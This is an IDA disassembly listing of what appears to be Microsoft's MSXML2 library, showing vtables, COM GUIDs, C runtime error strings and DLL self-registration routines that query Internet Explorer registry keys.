off_69B2A5FC	dd offset loc_69B7DC8F	; DATA XREF: sub_69B7DBC3+1Fo
					; sub_69B7DE94+25o
		dd offset loc_69B73470
		dd offset loc_69B7DCD1
		dd offset sub_69B7BC9E
		dd offset sub_69B7BDC2
off_69B2A610	dd offset loc_69B7DC85	; DATA XREF: sub_69B7DBC3+18o
					; sub_69B7DE94+1Eo
		dd offset loc_69B7DC40
		dd offset loc_69B7DCCA
		dd offset sub_69B7C60C
		dd offset sub_69B7C89C
off_69B2A624	dd offset sub_69B7DC7B	; DATA XREF: sub_69B7DBC3+11o
					; sub_69B7DE94+17o
		dd offset sub_69B7DC36
		dd offset sub_69B7DCC3
		dd offset sub_69B7B3B4
		dd offset sub_69B7B248
		dd offset sub_69B7B065
		dd offset sub_69B7B27F
dword_69B2A640	dd 0CC0BAF51h, 11D23321h, 800028AEh, 0A17E33C7h
					; DATA XREF: sub_69B7E1C4+5Co
					; sub_69B81EBA+7Do
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		db 9, 0DDh, 75h
		dd 11D56C40h, 0C0004385h, 0A3FBA04Fh
; OLECHAR aXsldocument
aXsldocument:				; DATA XREF: sub_69B7E2EC+5Eo
					; sub_69B822CE+AFo
		unicode	0, <XSLDocument>,0
aXmlbufferstrea:			; DATA XREF: sub_69B7E5FC+13o
					; sub_69B800FB+73o
		unicode	0, <XMLBufferStream>,0
off_69B2A698	dd offset sub_69B7E1C4	; DATA XREF: sub_69B7EB86+2Do
					; sub_69B7FA79+36o
		dd offset sub_69B81A3F
		dd offset sub_69B7E2EC
off_69B2A6A4	dd offset loc_69B7F424	; DATA XREF: sub_69B7EB86+26o
					; sub_69B7FA79+2Fo
		dd offset loc_69B7F42E
		dd offset loc_69B7F438
off_69B2A6B0	dd offset loc_69B7F406	; DATA XREF: sub_69B7EB86+1Fo
					; sub_69B7FA79+28o
		dd offset loc_69B7F410
		dd offset loc_69B7F41A
		dd offset loc_69B7E5E4
off_69B2A6C0	dd offset loc_69B7F3E8	; DATA XREF: sub_69B7EB86+18o
					; sub_69B7FA79+21o
		dd offset loc_69B7F3F2
		dd offset loc_69B7F3FC
		dd offset sub_69B7EC45
		dd offset sub_69B7ECA1
		dd offset sub_69B7ECFD
		dd offset sub_69B7F442
		dd offset sub_69B7ED5C
		dd offset sub_69B7EDBB
		dd offset sub_69B7EE1D
		dd offset sub_69B7EE7F
		dd offset sub_69B7EEDE
		dd offset sub_69B7EF49
		dd offset sub_69B7EFA5
		dd offset sub_69B7EFFE
		dd offset sub_69B7F057
		dd offset sub_69B7F0B3
		dd offset sub_69B7F112
		dd offset sub_69B7F171
		dd offset sub_69B7F1D0
		dd offset sub_69B7F22F
		dd offset sub_69B7F28B
		dd offset sub_69B7F2E7
		dd offset sub_69B7F346
off_69B2A720	dd offset loc_69B7F3C0	; DATA XREF: sub_69B7EB86+11o
					; sub_69B7FA79+1Ao
		dd offset loc_69B7F3CA
		dd offset loc_69B7F3D4
		dd offset loc_69B7F3DE
		dd offset sub_69B7E40C
		dd offset sub_69B7E46B
		dd offset sub_69B7E4C7
		dd offset sub_69B7E523
off_69B2A740	dd offset loc_69B7F3A2	; DATA XREF: sub_69B7EB86+Ao
					; sub_69B7FA79+13o
		dd offset loc_69B7F3AC
		dd offset loc_69B7F3B6
		dd offset sub_69B7E57F
		dd offset sub_69B803AC
off_69B2A754	dd offset loc_69B7FA12	; DATA XREF: sub_69B7F7CC+Ao
					; sub_69B7FA54+9o
		dd offset loc_69B7FA1C
		dd offset sub_69B800F1
		dd offset sub_69B7F924
		dd offset sub_69B7F938
		dd offset sub_69B7F94C
		dd offset sub_69B7F968
		dd offset sub_69B7F987
		dd offset sub_69B7F9B2
		dd offset sub_69B7F9DA
		dd offset sub_69B7F9F6
off_69B2A780	dd offset sub_69B7F7EE	; DATA XREF: sub_69B7F7CC+4o
					; sub_69B7FA54+3o
		dd offset sub_69B7F85D
		dd offset sub_69B7FA26
		dd offset sub_69B7F86E
off_69B2A790	dd offset sub_69B810D5	; DATA XREF: sub_69B80F83+1Eo
					; sub_69B80FD0+3o
		dd offset sub_69B80756
		dd offset sub_69B8080F
		dd offset sub_69B80B3C
		dd offset sub_69B80B34
		dd offset sub_69B80B30
off_69B2A7A8	dd offset loc_69B8176D	; DATA XREF: sub_69B816BB+1Co
					; sub_69B81864+20o
		dd offset loc_69B709B2
		dd offset loc_69B709BC
		dd offset sub_69B816F0
		dd offset sub_69B8130F
off_69B2A7BC	dd offset sub_69B8188F	; DATA XREF: sub_69B816BB+Fo
					; sub_69B81864+12o
off_69B2A7C0	dd offset loc_69B8176D	; DATA XREF: sub_69B81774+1Co
					; sub_69B818AE+2Eo
		dd offset loc_69B709B2
		dd offset loc_69B709BC
		dd offset sub_69B817BC
		dd offset sub_69B8130F
off_69B2A7D4	dd offset sub_69B81766	; DATA XREF: sub_69B16B18+1Eo
					; sub_69B816BB+15o ...
		dd offset sub_69B7099E
		dd offset sub_69B709A8
		dd offset sub_69B8124B
		dd offset sub_69B812AD
off_69B2A7E8	dd offset sub_69B818E9	; DATA XREF: sub_69B81774+Fo
					; sub_69B818AE+20o
off_69B2A7EC	dd offset sub_69B81833	; DATA XREF: sub_69B817C6+Do
					; sub_69B81908+20o
		dd offset sub_69B7099E
		dd offset sub_69B709A8
		dd offset sub_69B8153F
		dd offset sub_69B8156C
off_69B2A800	dd offset sub_69B81933	; DATA XREF: sub_69B817C6+7o
					; sub_69B81908+19o
off_69B2A804	dd offset loc_69B81C87	; DATA XREF: sub_69B81C44+8o
					; sub_69B81E26+4o
		dd offset sub_69B81A3F
		dd offset sub_69B81A50
		dd offset sub_69B81D08
		dd offset sub_69B81FF0
		dd offset sub_69B81CCB
		dd offset sub_69B81CF8
		dd offset sub_69B81CF0
		dd offset sub_69B81DB2
		dd offset sub_69B81CD3
		dd offset sub_69B81CF0
		dd offset sub_69B81CF0
		dd offset sub_69B81CF8
		dd offset sub_69B81D00
		dd offset sub_69B81E75
off_69B2A840	dd offset sub_69B8363D	; DATA XREF: sub_69B82ABA+16o
					; sub_69B83616+1Co
off_69B2A844	dd offset sub_69B82F30	; DATA XREF: sub_69B82CB4+1Fo
					; sub_69B82F37+1Bo
		dd offset sub_69B7099E
		dd offset sub_69B709A8
		dd offset sub_69B82E10
		dd offset sub_69B82E3B
		dd offset sub_69B82E5E
		dd offset sub_69B82E72
		dd offset sub_69B82E82
		dd offset sub_69B82E92
		dd offset sub_69B82EA2
		dd offset sub_69B82EBE
		dd offset sub_69B82ECE
		dd offset sub_69B82EE2
		dd offset sub_69B82EF2
off_69B2A87C	dd offset loc_69B83698	; DATA XREF: sub_69B82CB4+18o
					; sub_69B82F37+15o
off_69B2A880	dd offset sub_69B8475D	; DATA XREF: sub_69B84713+1Fo
					; sub_69B84958+8o
		dd offset sub_69B8479E
		dd offset sub_69B84938
		dd offset sub_69B847D5
		dd offset sub_69B84A3B
		dd offset sub_69B1E82F
		dd offset sub_69B847AB
		dd offset sub_69B847B9
dword_69B2A8A0	dd 746E7572h, 20656D69h, 6F727265h, 90002072h, 90000A0Dh
					; DATA XREF: .data:69B9AAC4o
		dd 534F4C54h, 72652053h, 0D726F72h, 9090000Ah, 474E4953h
		dd 72726520h, 0A0D726Fh, 90909000h, 414D4F44h, 65204E49h
		dd 726F7272h, 90000A0Dh
aR6028UnableToI	db 'R6028',0Dh,0Ah      ; DATA XREF: .data:69B9AA9Co
		db '- unable to initialize heap',0Dh,0Ah,0
		align 4
aR6027NotEnough	db 'R6027',0Dh,0Ah      ; DATA XREF: .data:69B9AA94o
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah      ; DATA XREF: .data:69B9AA8Co
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah      ; DATA XREF: .data:69B9AA84o
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah      ; DATA XREF: .data:69B9AA7Co
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah      ; DATA XREF: .data:69B9AA74o
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah      ; DATA XREF: .data:69B9AA6Co
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah      ; DATA XREF: .data:69B9AA64o
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah      ; DATA XREF: .data:69B9AA5Co
		db '- not enough space for thread data',0Dh,0Ah,0
aThisApplicatio	db 0Dh,0Ah		; DATA XREF: .data:69B9AA54o
		db 'This application has requested the Runtime to terminate it in an '
		db 'unusual way.',0Ah
		db 'Please contact the application',27h,'s support team for more informa'
		db 'tion.',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah      ; DATA XREF: .data:69B9AA4Co
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah      ; DATA XREF: .data:69B9AA44o
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .data:off_69B9AA3Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
dword_69B2ABA0	dd 6D3A4848h, 73733A6Dh, 90909000h, 64646464h, 4D4D202Ch
					; DATA XREF: .data:69B9AD50o
					; .data:69B9AD4Co
		dd 64204D4Dh, 79202C64h, 797979h, 642F4D4Dh, 79792F64h
		dd 90909000h, 90004D50h, 90004D41h, 65636544h, 7265626Dh
		dd 90909000h, 65766F4Eh, 7265626Dh, 90909000h, 6F74634Fh
		dd 726562h, 74706553h, 65626D65h, 90900072h, 75677541h
		dd 90007473h, 796C754Ah, 90909000h, 656E754Ah, 90909000h
		dd 69727041h, 9090006Ch, 6372614Dh, 90900068h, 72626546h
		dd 79726175h, 90909000h, 756E614Ah, 797261h, 636544h, 766F4Eh
		dd 74634Fh, 706553h, 677541h, 6C754Ah, 6E754Ah,	79614Dh
		dd 727041h, 72614Dh, 626546h, 6E614Ah, 75746153h, 79616472h
		dd 90909000h, 64697246h, 90007961h, 72756854h, 79616473h
		dd 90909000h, 6E646557h, 61647365h, 90900079h, 73657554h
		dd 796164h, 646E6F4Dh, 90007961h, 646E7553h, 90007961h
		dd 746153h, 697246h, 756854h, 646557h, 657554h,	6E6F4Dh
		dd 6E7553h, 200000h, 4 dup(200020h), 2 dup(280028h), 200028h
		dd 8 dup(200020h), 480020h, 7 dup(100010h), 840010h, 4 dup(840084h)
		dd 100084h, 3 dup(100010h), 3 dup(810081h), 0Ah	dup(10001h)
		dd 3 dup(100010h), 3 dup(820082h), 0Ah dup(20002h), 2 dup(100010h)
		dd 20h,	3Fh dup(0)
		align 10h
; CLSID	stru_69B2AED0
stru_69B2AED0	dd 7B8A2D94h		; Data1	; DATA XREF: sub_69B2C72C+26o
					; sub_69B89C91+B5o
		dw 0AC9h		; Data2
		dw 11D1h		; Data3
		db 89h,	6Ch, 0,	0C0h, 4Fh, 0B6h, 0BFh, 0C4h; Data4
dword_69B2AEE0	dd 0DE4BA900h, 11CF59CAh, 45449295h, 5453h					; sub_69B803AC+111o ...
dword_69B2AEF0	dd 0B722BE00h, 101B4E68h, 0AA00BCA2h, 70474000h					; sub_69B7EA61+3Fo ...
dword_69B2AF00	dd 3AF280B6h, 11D0CB3Fh, 0C0001E89h, 0C4BFB64Fh					; .text:69B73D2Co ...
; IID stru_69B2AF10
stru_69B2AF10	dd 79EAC9EEh		; Data1	; DATA XREF: sub_69B2C72C+1Eo
					; sub_69B7EA61+D6o ...
		dw 0BAF9h		; Data2
		dw 11CEh		; Data3
		db 8Ch,	82h, 0,	0AAh, 0, 4Bh, 0A9h, 0Bh; Data4
dword_69B2AF20	dd 79EAC9E5h, 11CEBAF9h, 0AA00828Ch, 0BA94B00h
					; DATA XREF: sub_69B7DC7B-25D1o
					; sub_69B7DCED+104o
dword_69B2AF30	dd 79EAC9E1h, 11CEBAF9h, 0AA00828Ch, 0BA94B00h					; sub_69B3ADB8+16o ...
dword_69B2AF40	dd 0FC4801A1h, 11CF2BA9h, 0AA0029A2h, 52733D00h
					; DATA XREF: sub_69B739EC+39o
					; .text:loc_69B73E67o ...
		dd 79EAC9D8h, 11CEBAFAh, 0AA00828Ch, 0BA94B00h ; DATA XREF: sub_69B3B01F+20o
					; sub_69B817DF+1Co
dword_69B2AF60	dd 79EAC9D7h, 11CEBAFAh, 0AA00828Ch, 0BA94B00h
					; DATA XREF: sub_69B7DC7B-2546o
					; sub_69B7CC9C+39o
dword_69B2AF70	dd 79EAC9D6h, 11CEBAFAh, 0AA00828Ch, 0BA94B00h					; sub_69B817DF+Bo
dword_69B2AF80	dd 79EAC9D2h, 11CEBAF9h, 0AA00828Ch, 0BA94B00h					; sub_69B3ACD6+97o ...
dword_69B2AF90	dd 79EAC9D0h, 11CEBAF9h, 0AA00828Ch, 0BA94B00h
					; DATA XREF: sub_69B7DC7B-2578o
					; sub_69B7BE98+90o ...
dword_69B2AFA0	dd 79EAC9C9h, 11CEBAF9h, 0AA00828Ch, 0BA94B00h
					; DATA XREF: sub_69B1C12C:loc_69B1EF8Fo
					; sub_69B440C4+7o ...
dword_69B2AFB0	dd 4 dup(0)						; sub_69B2D0C7+B3o ...
dword_69B2AFC0	dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bh
					; DATA XREF: sub_69B1C04C:loc_69B2481Eo
					; sub_69B2CE84+3Fo ...
dword_69B2AFD0	dd 20404h, 0						; .text:69B433B9o ...
		dd 0C0h, 46000000h
dword_69B2AFE0	dd 20400h, 0						; sub_69B2CE84+1Co ...
		dd 0C0h, 46000000h
dword_69B2AFF0	dd 0Ch,	0						; sub_69B3677A+3o ...
		dd 0C0h, 46000000h
dword_69B2B000	dd 0C733A30h, 11CE2A1Ch, 0AA00E5ADh, 3D774400h					; sub_69B39730+122o ...
; IID stru_69B2B010
stru_69B2B010	dd 0Fh			; Data1	; DATA XREF: .text:69B81B6Do
					; sub_69B81BD7+Eo
		dw 0			; Data2
		dw 0			; Data3
		db 0C0h, 6 dup(0), 46h	; Data4
dword_69B2B020	dd 109h, 0						; sub_69B46AC0+E7o ...
		dd 0C0h, 46000000h
dword_69B2B030	dd 3, 0							; sub_69B1C04C+828Ao ...
		dd 0C0h, 46000000h
dword_69B2B040	dd 6D5140C1h, 11CE7436h, 0AA003480h, 0FA096000h
					; DATA XREF: sub_69B1C04C+8150o
					; sub_69B2F4B8+4Ao ...
dword_69B2B050	dd 0A6EF9860h, 11D0C720h, 0A0003793h, 0A9CA0DC9h
					; DATA XREF: sub_69B1C04C:loc_69B2435Bo
					; sub_69B3B7BC+Bo ...
dword_69B2B060	dd 3050F24Fh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h					; sub_69B489F8+22o
; ---------------------------------------------------------------------------


loc_69B2B070:				; DATA XREF: sub_69B5DAE5+122o
					; sub_69B5E0C8+1Co
		mov	esi, edx
		push	eax
		xor	[ebp-44EE3068h], dh
		add	byte ptr [eax],	0AAh
		add	[ebp+44250BCEh], bh ; DATA XREF: sub_69B5E892+2Ao
					; sub_69B5E93B+4Co ...
		sub	al, 33h
		retf
; ---------------------------------------------------------------------------
		db 26h,	0D0h, 11h
		dd 0C00083B4h, 1901D94Fh, 626FC520h, 11CFA41Eh,	0A00031A7h
					; DATA XREF: .text:69B7389Ao
					; .text:69B8453Do
		dd 372608C9h
dword_69B2B0A0	dd 3050F1FFh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h					; sub_69B77BFC+97o ...
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		db 0BCh, 22h, 0B7h
		dd 101B4E68h, 0AA00BCA2h, 70474000h
dword_69B2B0C0	dd 0FC4801A3h, 11CF2BA9h, 0AA0029A2h, 52733D00h
					; DATA XREF: sub_69B1C12C+3071o
					; sub_69B5DCDA+2Eo ...
dword_69B2B0D0	dd 7FD52380h, 101B4E07h, 82DAEh, 13C72E2Bh					; sub_69B45880+7o ...
		dd 9BFBBC02h, 101AEFF1h, 0AA00ED84h, 71D3400h ;	DATA XREF: sub_69B50BB3+A3o
					; sub_69B50D43+1Bo ...
dword_69B2B0F0	dd 0B196B283h, 101ABAB4h, 0AA009CB6h, 71D3400h
					; DATA XREF: sub_69B1C12C:loc_69B1F0D5o
					; sub_69B59C38+19o
dword_69B2B100	dd 0B196B284h, 101ABAB4h, 0AA009CB6h, 71D3400h
					; DATA XREF: sub_69B1C12C:loc_69B1F08Ao
					; sub_69B505D7+1Ao ...
dword_69B2B110	dd 0CB5BDC81h, 11CF93C1h, 8000208Fh, 64D02C5Fh
					; DATA XREF: sub_69B1C12C+2F08o
					; sub_69B5DCDA+50o ...
dword_69B2B120	dd 0BB1A2AE2h, 11CFA4F9h, 8000208Fh, 64D02C5Fh					; sub_69B740BF+64o
; IID stru_69B2B130
stru_69B2B130	dd 0BB1A2AE1h		; Data1	; DATA XREF: sub_69B5DD72:loc_69B5DD9Co
					; sub_69B740BF+43o ...
		dw 0A4F9h		; Data2
		dw 11CFh		; Data3
		db 8Fh,	20h, 0,	80h, 5Fh, 2Ch, 0D0h, 64h; Data4
dword_69B2B140	dd 0E0E270C0h, 11D0C0BEh, 0A000E48Fh, 41630AC9h					; sub_69B79EA1+4Do
dword_69B2B150	dd 114h, 0						; sub_69B7CB54+B8o ...
		dd 0C0h, 46000000h
dword_69B2B160	dd 112h, 0						; sub_69B7E8D9+25o ...
		dd 0C0h, 46000000h
dword_69B2B170	dd 118h, 0						; sub_69B89883+B0o
		dd 0C0h, 46000000h
dword_69B2B180	dd 91A565C1h, 11D0E38Fh, 0A000BF94h, 0BF5C05C9h
					; DATA XREF: sub_69B7E1C4+42o
					; sub_69B7E40C+16o ...
off_69B2B190	dd offset sub_69B84A43	; DATA XREF: sub_69B881B2+20o
					; sub_69B88228+3o
		dd offset sub_69B81A3F
		dd offset sub_69B88408
off_69B2B19C	dd offset off_69B25E94	; DATA XREF: .text:off_69B3D1F8o
					; .text:off_69B77AECo ...
		dd offset sub_69B6860C
off_69B2B1A4	dd offset loc_69B89C43	; DATA XREF: sub_69B89B44+Co
					; sub_69B89C76+6o
		dd offset byte_69B89C4D
		dd offset sub_69B89DC8
		dd offset loc_69B89BF0+1
off_69B2B1B4	dd offset sub_69B89B64	; DATA XREF: sub_69B89B44+6o
					; sub_69B89C76o
		dd offset loc_69B89BE3+1
		dd offset loc_69B89C54
		dd offset sub_69B81D00
		dd offset sub_69B81D00
off_69B2B1C8	dd offset dword_69B18894 ; DATA	XREF: sub_69B8A0FEo
					; .text:off_69B8A2D0o ...
		dd offset loc_69B8A314
aSelectionlangu:			; DATA XREF: .data:off_69B9B054o
		unicode	0, <SelectionLanguage>,0
off_69B2B1F4	dd offset sub_69B8D4B6	; DATA XREF: sub_69B8D0D7+15o
					; sub_69B8D12A+16o
off_69B2B1F8	dd offset sub_69B8E35B	; DATA XREF: sub_69B8D93D+17o
					; sub_69B8F007+10o
off_69B2B1FC	dd offset dword_69B18894 ; DATA	XREF: sub_69B900EBo
					; sub_69B9011A+14o
		dd offset loc_69B901D0
aNb10		db 'NB10',0
		align 4
		dd 416F2944h, 2, 6D78736Dh, 702E326Ch, 6C006264h, 425C3632h
		dd 775C5442h, 696B726Fh, 6F5C676Eh, 6D5C7470h, 6C6D7873h
		dd 64702E32h
		db 62h,	0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2B23E	proc near		; CODE XREF: sub_69B2B41B+Fp

Type		= dword	ptr -0Ch
cbData		= dword	ptr -8
hKey		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, offset String
		push	esi		; lpString
		xor	edi, edi
		call	ds:lstrlenA	; lstrlenA
		test	eax, eax
		jnz	short loc_69B2B2B2
		mov	String,	al
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h	; hKey
		call	RegOpenKeyA	; RegOpenKeyA
		test	eax, eax
		jnz	short loc_69B2B2A6
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		push	esi		; lpData
		lea	eax, [ebp+Type]
		push	eax		; lpType
		push	edi		; lpReserved
		push	offset byte_69B25C44 ; lpValueName
		push	[ebp+hKey]	; hKey
		mov	[ebp+cbData], 104h
		call	RegQueryValueExA	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_69B2B299
		inc	edi


loc_69B2B299:				; CODE XREF: sub_69B2B23E+58j
		push	[ebp+hKey]	; hKey
		call	RegCloseKey	; RegCloseKey
		test	edi, edi
		jnz	short loc_69B2B2B2


loc_69B2B2A6:				; CODE XREF: sub_69B2B23E+35j
		push	offset String2	; "iexplore.exe"
		push	esi		; lpString1
		call	ds:lstrcpyA	; lstrcpyA


loc_69B2B2B2:				; CODE XREF: sub_69B2B23E+18j
					; sub_69B2B23E+66j
		pop	edi
		pop	esi
		leave
		retn
sub_69B2B23E	endp

; ---------------------------------------------------------------------------
		align 4
; char aSoftwareMicr_1[]
aSoftwareMicr_1	db 'Software\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE',0
					; DATA XREF: sub_69B2B23E+23o
		align 4
; char String2[]
String2		db 'iexplore.exe',0     ; DATA XREF: sub_69B2B23E:loc_69B2B2A6o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2B309	proc near		; CODE XREF: DllRegisterServer+22p
					; DllUnregisterServer+60p

Type		= dword	ptr -0Ch
cbData		= dword	ptr -8
hKey		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	offset aSoftwareMicr_2 ; "Software\\Microsoft\\Internet	Explorer"
		push	80000002h	; hKey
		xor	esi, esi
		call	RegOpenKeyA	; RegOpenKeyA
		test	eax, eax
		jnz	short loc_69B2B368
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		push	offset byte_69B9B080 ; lpData
		lea	eax, [ebp+Type]
		push	eax		; lpType
		push	esi		; lpReserved
		push	offset aVersion	; "Version"
		push	[ebp+hKey]	; hKey
		mov	[ebp+cbData], 32h
		call	RegQueryValueExA	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_69B2B35F
		mov	al, byte_69B9B080
		cmp	al, 35h
		jl	short loc_69B2B35F
		cmp	al, 39h
		jg	short loc_69B2B35F
		inc	esi


loc_69B2B35F:				; CODE XREF: sub_69B2B309+46j
					; sub_69B2B309+4Fj ...
		push	[ebp+hKey]	; hKey
		call	RegCloseKey	; RegCloseKey


loc_69B2B368:				; CODE XREF: sub_69B2B309+1Fj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_69B2B309	endp

; ---------------------------------------------------------------------------
		align 10h
; char aSoftwareMicr_2[]
aSoftwareMicr_2	db 'Software\Microsoft\Internet Explorer',0 ; DATA XREF: sub_69B2B309+Bo
		align 4
; char aVersion[]
aVersion	db 'Version',0          ; DATA XREF: sub_69B2B309+2Fo

; =============== S U B	R O U T	I N E =======================================



sub_69B2B3A0	proc near		; CODE XREF: sub_69B2B41B+6p
		mov	eax, dword_69B9B1C4
		test	eax, eax
		jnz	short loc_69B2B3BD
		push	offset LibFileName ; "ADVPACK.DLL"
		call	ds:LoadLibraryA	; LoadLibraryA
		test	eax, eax
		mov	dword_69B9B1C4,	eax
		jz	short loc_69B2B3DB


loc_69B2B3BD:				; CODE XREF: sub_69B2B3A0+7j
		cmp	dword_69B9B1C8,	0
		jnz	short loc_69B2B3E1
		push	offset aReginstall ; "RegInstall"
		push	eax		; hModule
		call	ds:GetProcAddress	; GetProcAddress
		test	eax, eax
		mov	dword_69B9B1C8,	eax
		jnz	short loc_69B2B3E1


loc_69B2B3DB:				; CODE XREF: sub_69B2B3A0+1Bj
		mov	eax, 80004005h
		retn
; ---------------------------------------------------------------------------


loc_69B2B3E1:				; CODE XREF: sub_69B2B3A0+24j
					; sub_69B2B3A0+39j
		xor	eax, eax
		retn
sub_69B2B3A0	endp

; ---------------------------------------------------------------------------
; char aReginstall[]
aReginstall	db 'RegInstall',0       ; DATA XREF: sub_69B2B3A0+26o
		align 10h
; char LibFileName[]
LibFileName	db 'ADVPACK.DLL',0      ; DATA XREF: sub_69B2B3A0+9o

; =============== S U B	R O U T	I N E =======================================



sub_69B2B3FC	proc near		; CODE XREF: DllRegisterServer:loc_69B2C263p
					; DllUnregisterServer:loc_69B2C41Fp
		mov	eax, dword_69B9B1C4
		test	eax, eax
		jz	short loc_69B2B413
		push	eax		; hLibModule
		call	ds:FreeLibrary	; FreeLibrary
		and	dword_69B9B1C4,	0


loc_69B2B413:				; CODE XREF: sub_69B2B3FC+7j
		and	dword_69B9B1C8,	0
		retn
sub_69B2B3FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2B41B	proc near		; CODE XREF: sub_69B2B4A9+30p
					; DllRegisterServer+30p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		call	sub_69B2B3A0
		test	eax, eax
		jnz	short locret_69B2B476
		call	sub_69B2B23E
		mov	eax, offset aBoth ; "Both"
		mov	[ebp+var_14], eax
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		mov	[ebp+var_20], offset aIexplore ; "IEXPLORE"
		push	hModule
		mov	[ebp+var_1C], offset String
		mov	[ebp+var_18], offset aFree_model ; "FREE_MODEL"
		mov	[ebp+var_10], offset aRental_model ; "RENTAL_MODEL"
		mov	[ebp+var_8], 3
		call	dword_69B9B1C8

locret_69B2B476:			; CODE XREF: sub_69B2B41B+Dj
		leave
		retn	4
sub_69B2B41B	endp

; ---------------------------------------------------------------------------
		align 4
aRental_model	db 'RENTAL_MODEL',0     ; DATA XREF: sub_69B2B41B+47o
		align 4
aFree_model	db 'FREE_MODEL',0       ; DATA XREF: sub_69B2B41B+40o
		align 4
aIexplore	db 'IEXPLORE',0         ; DATA XREF: sub_69B2B41B+2Co
		align 4
aBoth		db 'Both',0             ; DATA XREF: sub_69B2B41B+14o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2B4A9	proc near		; CODE XREF: DllUnregisterServer:loc_69B2C40Bp

szFullPath	= word ptr -544h
Data		= byte ptr -33Ch
String		= byte ptr -238h
MultiByteStr	= byte ptr -138h
String1		= byte ptr -34h
String2		= byte ptr -28h
hKey		= dword	ptr -1Ch
var_18		= dword	ptr -18h
pptlib		= dword	ptr -14h
phkResult	= dword	ptr -10h
cbValueName	= dword	ptr -0Ch
dwIndex		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 544h
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	offset aFixsidebyside ;	"FixSideBySide"
		mov	[ebp+var_4], eax
		mov	[ebp+Data], bl
		mov	[ebp+MultiByteStr], bl
		mov	[ebp+String1], bl
		mov	[ebp+String2], bl
		call	sub_69B2B41B
		mov	[ebp+var_18], eax
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	1		; samDesired
		push	ebx		; ulOptions
		push	offset aClsid2933bf907 ; "CLSID\\{2933BF90-7B36-11d2-B20E-00C04F98"...
		push	80000000h	; hKey
		call	RegOpenKeyExA	; RegOpenKeyExA
		test	eax, eax
		mov	esi, 104h
		jnz	short loc_69B2B576
		mov	[ebp+dwIndex], ebx


loc_69B2B504:				; CODE XREF: sub_69B2B4A9+C2j
		lea	eax, [ebp+pptlib]
		push	eax		; lpcbData
		lea	eax, [ebp+Data]
		push	eax		; lpData
		lea	eax, [ebp+phkResult]
		push	eax		; lpType
		push	ebx		; lpReserved
		lea	eax, [ebp+cbValueName]
		push	eax		; lpcbValueName
		lea	eax, [ebp+String1]
		push	eax		; lpValueName
		push	[ebp+dwIndex]	; dwIndex
		mov	[ebp+cbValueName], 0Ah
		push	[ebp+hKey]	; hKey
		mov	[ebp+pptlib], esi
		call	RegEnumValueA	; RegEnumValueA
		cmp	eax, ebx
		jnz	short loc_69B2B56D
		lea	eax, [ebp+String2]
		push	eax		; lpString2
		lea	eax, [ebp+String1]
		push	eax		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jle	short loc_69B2B568
		mov	edi, ds:lstrcpyA
		lea	eax, [ebp+Data]
		push	eax		; lpString2
		lea	eax, [ebp+MultiByteStr]
		push	eax		; lpString1
		call	edi ; lstrcpyA
		lea	eax, [ebp+String1]
		push	eax		; lpString2
		lea	eax, [ebp+String2]
		push	eax		; lpString1
		call	edi ; lstrcpyA


loc_69B2B568:				; CODE XREF: sub_69B2B4A9+9Dj
		inc	[ebp+dwIndex]
		jmp	short loc_69B2B504
; ---------------------------------------------------------------------------


loc_69B2B56D:				; CODE XREF: sub_69B2B4A9+8Bj
		push	[ebp+hKey]	; hKey
